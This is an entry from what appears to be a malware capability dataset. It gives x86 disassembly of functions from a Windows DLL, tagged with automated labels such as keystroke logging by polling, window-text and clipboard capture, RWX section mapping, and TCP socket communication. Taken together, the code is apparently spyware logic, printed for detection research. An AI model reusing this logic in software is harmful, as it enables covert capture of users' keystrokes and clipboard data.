joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017c23
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x40
xor ecx, ecx
push ecx
push 2
xor eax, eax
mov dword [ebp - 0xc], ecx
lea edi, [ebp - 8]
stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push ecx
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 4], ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
push eax
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
pop edi
leave
ret 0xc

Function at 0x10017f8a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x1c
mov edx, ebx
xor eax, eax
mov dword [ebp + 8], 8
call fcn.10013c1a
lea ecx, [ebp - 4]
not eax
push ecx
push eax
mov eax, dword [0x1002c2dc]
call fcn.1001902c
test eax, eax
jne 0x10017fbf
xor edi, edi
jmp 0x10017fc2
mov edi, dword [ebp - 4]
test edi, edi
je 0x10018123
mov eax, dword [edi + 0x4a18]
push esi
mov dword [ebp - 8], eax
test eax, eax
jne 0x10018085
push dword [ebx]
push eax
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10018008
push 0x104
lea eax, [edi + 0x10]
push eax
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExW
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1002c2e0], 0
mov dword [edi + 0x4a1c], 1
je 0x10018069
push 0x5c
push 0
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrW]
test eax, eax
je 0x10018069
inc eax
inc eax
push 0x2e
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.SHLWAPI.dll_StrChrW]
mov esi, eax
test esi, esi
je 0x10018046
xor eax, eax
mov word [esi], ax
push dword [ebp - 4]
push dword [0x1002c2e0]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x1001805f
and dword [edi + 0x4a1c], eax
test esi, esi
je 0x10018069
push 0x2e
pop eax
mov word [esi], ax
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0x400
lea eax, [edi + 0x218]
push eax
push dword [ebx + 0x10]
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor edx, edx
mov dword [edi + 0x4a18], 1
cmp dword [edi + 0x4a1c], edx
je 0x1001810c
movzx ecx, word [ebx + 0x20]
cmp cx, dx
je 0x100180cc
mov eax, dword [edi + 8]
cmp eax, 0x2000
jae 0x100180cc
cmp cx, 8
jne 0x100180bc
cmp eax, edx
je 0x100180c7
dec eax
mov dword [edi + 8], eax
jmp 0x100180c7
mov word [edi + eax*2 + 0xa18], cx
inc dword [edi + 8]
mov dword [ebp + 8], edx
jmp 0x100180d3
mov dword [ebp + 8], 0x6f
cmp dword [ebx + 0x22], edx
je 0x1001810c
push 0x14
call fcn.100012ea
mov esi, eax
test esi, esi
je 0x1001810c
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [ebx + 0x22]
mov dword [esi + 0x10], eax
and dword [ebx + 0x22], 0
lea eax, [edi + 0x4a20]
mov ecx, dword [eax + 4]
mov dword [esi], eax
mov dword [esi + 4], ecx
mov dword [ecx], esi
mov dword [eax + 4], esi
cmp dword [ebp - 8], 0
pop esi
je 0x10018123
push 0
push dword [0x1002c2dc]
lea eax, [edi - 0x1c]
call fcn.10019118
mov eax, dword [ebp + 8]
pop edi
pop ebx
leave
ret 4
Function at 0x100183b2
Capabilities:
Get graphical window text

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x88
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp + 0x64], ebx
mov dword [ebp + 0x68], ebx
mov esi, 0x80
mov eax, dword [ebx + 0x1002b058]
cmp eax, dword [ebp + 0x74]
jne 0x10018414
cmp dword [ebx + 0x1002b05c], 0
je 0x10018424
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x78]
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edi, eax
test edi, edi
jle 0x10018424
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push edi
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10013c1a
not eax
cmp eax, dword [ebx + 0x1002b05c]
je 0x10018424
inc dword [ebp + 0x68]
add ebx, 0x14
cmp ebx, 0x3c
jb 0x100183cd
jmp 0x100184e9
mov edi, dword [ebp + 0x68]
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextA]
imul edi, edi, 0x14
cmp dword [edi + 0x1002b064], 0
je 0x1001846b
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x78]
call ebx
mov dword [ebp + 0x78], eax
test eax, eax
jle 0x1001846b
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push dword [ebp + 0x78]
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10013c1a
not eax
cmp eax, dword [edi + 0x1002b064]
jne 0x100184e9
cmp dword [edi + 0x1002b060], 0
je 0x100184aa
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x7c]
call dword [sym.imp.USER32.dll_GetClassNameA]
mov dword [ebp + 0x78], eax
test eax, eax
jle 0x100184aa
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push dword [ebp + 0x78]
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10013c1a
not eax
cmp eax, dword [edi + 0x1002b060]
jne 0x100184e9
cmp dword [edi + 0x1002b068], 0
je 0x100184e2
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x7c]
call ebx
mov esi, eax
test esi, esi
jle 0x100184e2
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push esi
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10013c1a
not eax
cmp eax, dword [edi + 0x1002b068]
jne 0x100184e9
mov dword [ebp + 0x64], 1
mov eax, dword [ebp + 0x64]
pop edi
pop esi
pop ebx
add ebp, 0x6c
leave
ret 0xc
Function at 0x10018532
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edx, edx
push 8
xor eax, eax
mov dword [ebp - 0x30], edx
pop ecx
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
mov esi, pe_nt_image_headers32
mov dword [ebp + 8], edx
stosw word es:[edi], ax
cmp dword [ebp + 0xc], esi
jne 0x1001866a
push 0x26
push edx
lea eax, [ebp - 0x30]
push eax
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x130]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0x18
push 3
push ebx
call dword [sym.imp.USER32.dll_GetAncestor]
test eax, eax
jne 0x10018590
mov eax, ebx
mov ecx, dword [ebp + 0x18]
mov esi, dword [ebp + 0x1c]
push eax
push ebx
push dword [ebp + 0x20]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], eax
call fcn.100183b2
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x1001866a
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0xa0
mov edi, eax
call esi
push 0xa1
shr eax, 8
mov byte [ebp - 0x90], al
call esi
push 0x10
shr eax, 8
mov byte [ebp - 0x8f], al
call esi
push edi
xor edi, edi
push edi
push 3
shr eax, 8
mov byte [ebp - 0x120], al
xor eax, eax
mov word [ebp - 8], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x130]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov esi, eax
cmp esi, 0xffffffff
je 0x10018663
cmp esi, edi
je 0x10018649
jle 0x10018663
mov ax, word [ebp + edi*2 - 8]
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x30]
push eax
call fcn.10017f8a
inc edi
cmp edi, esi
jl 0x10018630
jmp 0x10018663
mov ecx, dword [ebp + 0x10]
call fcn.100184f6
mov word [ebp - 0x10], ax
cmp ax, di
je 0x10018663
lea eax, [ebp - 0x30]
push eax
call fcn.10017f8a
mov dword [ebp + 8], 1
cmp dword [ebp - 0xe], 0
pop edi
pop esi
pop ebx
je 0x1001867b
push dword [ebp - 0xe]
call fcn.100012ff
mov eax, dword [ebp + 8]
leave
ret 0x1c
Function at 0x10018682
Capabilities:
Create thread

Disassembly:
push 0x10017ea7
push 0x10017e8f
push 0x4a28
push 0x1002c2dc
call fcn.10018f47
test eax, eax
jne 0x10018718
mov ecx, dword [0x1002c2dc]
or dword [ecx + 0x24], 3
test eax, eax
jne 0x10018718
push esi
mov esi, 0x1002c31c
mov dword [0x1002c31c], 0x10018b37
mov dword [0x1002c328], 0x10018b69
call fcn.10018e1e
mov esi, 0x1002c2e8
mov dword [0x1002c2ec], 0x10018927
mov dword [0x1002c2f8], 0x1001894d
mov dword [0x1002c2f0], 0x100188a7
call fcn.10018e1e
mov dword [0x1002c30c], 0x1001896c
mov esi, 0x1002c304
mov dword [0x1002c318], 1
call fcn.10018e1e
pop esi
jmp 0x10018ebb
ret
push esi
xor esi, esi
mov dword [0x1002c344], esi
cmp dword [0x1002c390], esi
je 0x10018f11
cmp dword [0x1002c338], esi
jne 0x10018f11
push esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x1002c338], eax
cmp eax, esi
je 0x10018f09
push 0x1002c33c
push esi
push 0x1002c338
push 0x10018ce9
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1002c340], eax
cmp eax, esi
jne 0x10018f11
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
pop esi
ret

Function at 0x100187d0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
and dword [ebp - 0x30], 0
push edi
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
push 1
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x100188a4
push esi
call dword [sym.imp.USER32.dll_GetClipboardOwner]
mov esi, eax
test esi, esi
je 0x100188a3
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100188a3
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 8], eax
test eax, eax
je 0x1001889d
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
test ebx, ebx
je 0x10018893
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x26
mov edi, eax
lea eax, [ebp - 0x30]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [ebp - 4]
push 3
push esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
call dword [sym.imp.USER32.dll_GetAncestor]
mov dword [ebp - 0x20], eax
lea eax, [edi + edi + 2]
push eax
call fcn.100012ea
mov dword [ebp - 0xe], eax
test eax, eax
je 0x1001888a
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x30]
push eax
call fcn.10017f8a
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
pop ebx
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop edi
leave
ret
Function at 0x1001924d
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov cl, byte [eax]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
xor ebx, ebx
mov byte [esi], cl
inc esi
inc eax
mov dword [esp + 0x1c], edi
mov dword [esp + 0xc], edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x10]
call fcn.10019204
test eax, eax
je 0x1001939c
call fcn.10019204
test eax, eax
je 0x1001930a
call fcn.10019204
xor edi, edi
test eax, eax
je 0x100192cd
push 4
pop esi
lea ecx, [esp + 0x10]
call fcn.10019204
dec esi
lea edi, [eax + edi*2]
jne 0x1001929e
mov eax, dword [esp + 0x14]
test edi, edi
je 0x100192c1
mov ecx, dword [esp + 0x14]
sub eax, edi
mov al, byte [eax]
mov byte [ecx], al
jmp 0x100192c4
mov byte [eax], 0
inc dword [esp + 0x14]
jmp 0x100193b0
mov eax, dword [esp + 0x10]
movzx esi, byte [eax]
inc dword [esp + 0x10]
inc edi
mov eax, esi
and eax, edi
inc eax
inc eax
shr esi, 1
je 0x100192ff
test eax, eax
je 0x10019303
mov ecx, dword [esp + 0x14]
sub ecx, esi
mov ebx, dword [esp + 0x14]
mov dl, byte [ecx]
inc dword [esp + 0x14]
inc ecx
dec eax
mov byte [ebx], dl
jne 0x100192ed
jmp 0x10019303
mov dword [esp + 0xc], edi
mov ebx, esi
jmp 0x100193b2
call fcn.10019234
test edi, edi
jne 0x10019342
cmp eax, 2
jne 0x1001933d
lea ecx, [esp + 0x10]
call fcn.10019234
test eax, eax
je 0x10019397
mov ecx, dword [esp + 0x14]
sub ecx, ebx
mov esi, dword [esp + 0x14]
mov dl, byte [ecx]
inc dword [esp + 0x14]
inc ecx
dec eax
mov byte [esi], dl
jne 0x1001932b
jmp 0x10019397
sub eax, 3
jmp 0x10019344
dec eax
dec eax
mov ecx, dword [esp + 0x10]
movzx ecx, byte [ecx]
shl eax, 8
add eax, ecx
inc dword [esp + 0x10]
lea ecx, [esp + 0x10]
mov esi, eax
call fcn.10019234
cmp esi, 0x7d00
jb 0x10019368
inc eax
cmp esi, 0x500
jb 0x10019371
inc eax
cmp esi, 0x80
jae 0x1001937b
inc eax
inc eax
test eax, eax
je 0x10019395
mov ecx, dword [esp + 0x14]
sub ecx, esi
mov edi, dword [esp + 0x14]
mov dl, byte [ecx]
inc dword [esp + 0x14]
inc ecx
dec eax
mov byte [edi], dl
jne 0x10019385
mov ebx, esi
xor edi, edi
inc edi
jmp 0x100193b2
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov al, byte [eax]
inc dword [esp + 0x14]
inc dword [esp + 0x10]
mov byte [ecx], al
xor edi, edi
cmp dword [esp + 0xc], 0
je 0x10019276
mov eax, dword [esp + 0x14]
sub eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10019644
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push edi
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x10], bl
lea edi, [ebp - 0xf]
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [ebp - 0x20], ax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [esi + 0x18]
push 8
pop eax
call fcn.10019f06
mov edi, eax
cmp edi, ebx
jne 0x1001971f
cmp byte [ebp - 8], 1
push 0x57
pop edi
je 0x10019694
cmp byte [ebp - 8], 2
jne 0x1001971f
cmp byte [ebp - 1], bl
je 0x100196b7
push ebx
push 1
lea eax, [ebp - 1]
push eax
push dword [esi + 0x18]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x100196b2
cmp byte [ebp - 1], bl
jne 0x10019699
cmp byte [ebp - 1], bl
jne 0x1001971f
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
lea edi, [esi + 0x1c]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x10019725
push 2
pop ecx
mov word [ebp - 0x20], cx
mov cx, word [ebp - 7]
mov word [ebp - 0x1e], cx
mov ecx, dword [ebp - 5]
mov dword [ebp - 0x1c], ecx
push 0x10
lea ecx, [ebp - 0x20]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x100196f7
xor edi, edi
jmp 0x10019731
push edi
call fcn.100197b1
mov edi, 0x4d0
mov byte [ebp - 0xf], 0x5b
push ebx
push 8
lea eax, [ebp - 0x10]
push eax
push dword [esi + 0x18]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x1001971f
mov edi, 0x4d4
mov eax, edi
pop edi
pop ebx
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp edi, ebx
jne 0x10019702
mov byte [ebp - 0xf], 0x5a
jmp 0x10019706
Function at 0x10019ba7
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor ebx, ebx
push 0x30
mov edi, eax
mov dword [ebp - 4], 8
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0x2710
mov dword [ebp - 0x10], 0x3e8
mov dword [ebp - 0xc], 0x493e0
mov dword [ebp - 8], ebx
call fcn.100012ea
mov esi, eax
cmp esi, ebx
je 0x10019cc8
push 0x30
push ebx
push esi
call sub.ntdll.dll_memset
or dword [esi + 0x18], 0xffffffff
or dword [esi + 0x1c], 0xffffffff
add esp, 0xc
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 0xc
lea eax, [ebp - 0x18]
push eax
push 0x98000004
push dword [ebp + 8]
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 0xc], edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x10019cc3
cmp dword [edi + 0x30], ebx
je 0x10019c4d
push 4
lea eax, [ebp - 0xc]
push eax
push 0x1006
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10019cc3
push dword [ebp + 8]
push esi
call dword [edi + 0x24]
mov dword [ebp - 4], eax
cmp eax, ebx
jne 0x10019cc3
mov eax, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [esi + 0x18], eax
lea eax, [edi + 8]
push eax
mov dword [ebp + 8], eax
call ebx
mov eax, dword [edi + 4]
push dword [ebp + 8]
mov dword [esi], edi
mov dword [esi + 4], eax
mov dword [eax], esi
mov dword [edi + 4], esi
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call edi
push 0x10
push esi
push 0x1001981b
call dword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
test eax, eax
jne 0x10019cb9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp + 8]
mov dword [ebp - 4], eax
call ebx
mov eax, dword [esi]
mov ecx, dword [esi + 4]
push dword [ebp + 8]
mov dword [ecx], eax
mov dword [eax + 4], ecx
call edi
jmp 0x10019cbd
and dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x10019cc8
call fcn.100197d9
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10019f06
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, eax
xor esi, esi
push 0
push edi
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10019f4e
cmp eax, 0xffffffff
jne 0x10019f42
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x10019f53
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
jmp 0x10019f48
sub edi, eax
add dword [esp + 0x10], eax
test edi, edi
jne 0x10019f0c
jmp 0x10019f53
mov esi, 0x4d4
pop edi
mov eax, esi
pop esi
ret 8
Function at 0x10019f5a
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x194
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0xc], edi
cmp dword [ebp + 0x10], edi
jne 0x10019f7c
push 0x57
pop ebx
jmp 0x1001a084
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
cmp ebx, edi
jne 0x1001a05e
xor ebx, ebx
inc ebx
push 0x54
mov dword [esp + 0x10], ebx
call fcn.100012ea
mov esi, eax
cmp esi, edi
jne 0x10019fb2
push 8
pop ebx
jmp 0x1001a079
push 0x54
push edi
push esi
call sub.ntdll.dll_memset
push 0x10
push dword [ebp + 8]
lea eax, [esi + 0x2c]
push eax
call sub.ntdll.dll_memcpy
add esp, 0x18
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
or dword [esi + 0x3c], 0xffffffff
push edi
push edi
push ebx
push edi
mov dword [esi + 4], esi
mov dword [esi], esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x40], eax
cmp eax, edi
je 0x1001a067
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x44], eax
cmp eax, edi
jne 0x1001a00d
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi + 0x48], eax
mov dword [esi + 0x44], eax
cmp eax, edi
je 0x1001a067
push dword [ebp + 0x10]
call dword [sym.imp.SHLWAPI.dll_StrDupA]
push 6
push ebx
push 2
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], fcn.10019737
mov dword [esi + 0x28], 0x1001976b
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x3c], eax
cmp eax, 0xffffffff
je 0x1001a067
lea eax, [esi + 0x50]
push eax
push edi
push esi
push 0x10019cd2
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x4c], eax
cmp eax, edi
je 0x1001a067
mov dword [0x1002c0e8], esi
xor ebx, ebx
jmp 0x1001a062
mov esi, dword [esp + 0xc]
cmp ebx, 0xffffffff
jne 0x1001a06f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, edi
je 0x1001a084
cmp dword [esp + 0xc], edi
je 0x1001a084
call fcn.1001a08f
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1001da19
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
xor edi, edi
push 0x40
lea eax, [ebp - 0x4c]
push edi
push eax
mov dword [ebp - 8], edi
call sub.ntdll.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
cmp esi, edi
je 0x1001daf1
cmp dword [ebp + 0xc], edi
je 0x1001daf1
cmp dword [ebp + 0x10], edi
je 0x1001daf1
mov ecx, dword [ebp + 0xc]
call fcn.1001d353
test eax, eax
je 0x1001daf1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1001dac8
push esi
lea ecx, [ebp - 0x4c]
call fcn.1001ced4
test eax, eax
je 0x1001daf1
mov dword [ebp - 8], 1
push dword [ebp + 0x10]
lea eax, [ebp - 0x4c]
push dword [ebp + 0xc]
push eax
push 9
pop edx
call fcn.1001d3fb
lea esi, [ebp - 0x4c]
mov ebx, eax
call fcn.1001d80c
test eax, eax
jne 0x1001daa5
xor ebx, ebx
lea edi, [ebp - 0x4c]
call fcn.1001d951
test eax, eax
jne 0x1001dab3
xor ebx, ebx
test ebx, ebx
jne 0x1001dac4
cmp dword [ebp - 8], ebx
je 0x1001dac4
push dword [ebp + 8]
call fcn.1001a3d8
mov eax, ebx
jmp 0x1001daf3
push 0x809
push esi
lea eax, [ebp - 0x4c]
push eax
call fcn.1001cbc1
push esi
test eax, eax
je 0x1001da70
lea eax, [ebp - 0x4c]
push eax
call fcn.1001cf24
test eax, eax
jne 0x1001da83
lea edi, [ebp - 0x4c]
call fcn.1001cc67
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x1001f7d8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x2c]
push edi
mov edi, dword [esi + 0x3c]
sub edi, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
mov dword [ebp - 8], edi
cmp eax, ecx
jb 0x1001f865
mov eax, dword [esi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call sub.ntdll.dll_memcpy
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], ebx
sub dword [esi + 0x6c], ebx
add esp, 0xc
sub dword [esi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x1001f825
mov eax, dword [esi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x1001f847
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x1001f920
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
cmp ecx, edx
jbe 0x1001f88d
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x1001f898
xor eax, eax
jmp 0x1001f8e1
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x1001f8b5
mov ecx, dword [edi]
mov eax, dword [edi + 0x28]
push edx
call fcn.100217b7
jmp 0x1001f8c5
cmp ecx, 2
jne 0x1001f8cb
mov eax, dword [edi + 0x28]
push edx
mov edx, dword [edi]
call fcn.10013c1a
mov dword [edi + 0x28], eax
mov eax, dword [ebp - 0xc]
push dword [ebp - 4]
push dword [edi]
push eax
call sub.ntdll.dll_memcpy
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x74], eax
mov edi, dword [esi + 0x74]
cmp edi, 3
jb 0x1001f90c
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp edi, 0x106
jae 0x1001f920
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x1001f7e3
pop edi
pop ebx
leave
ret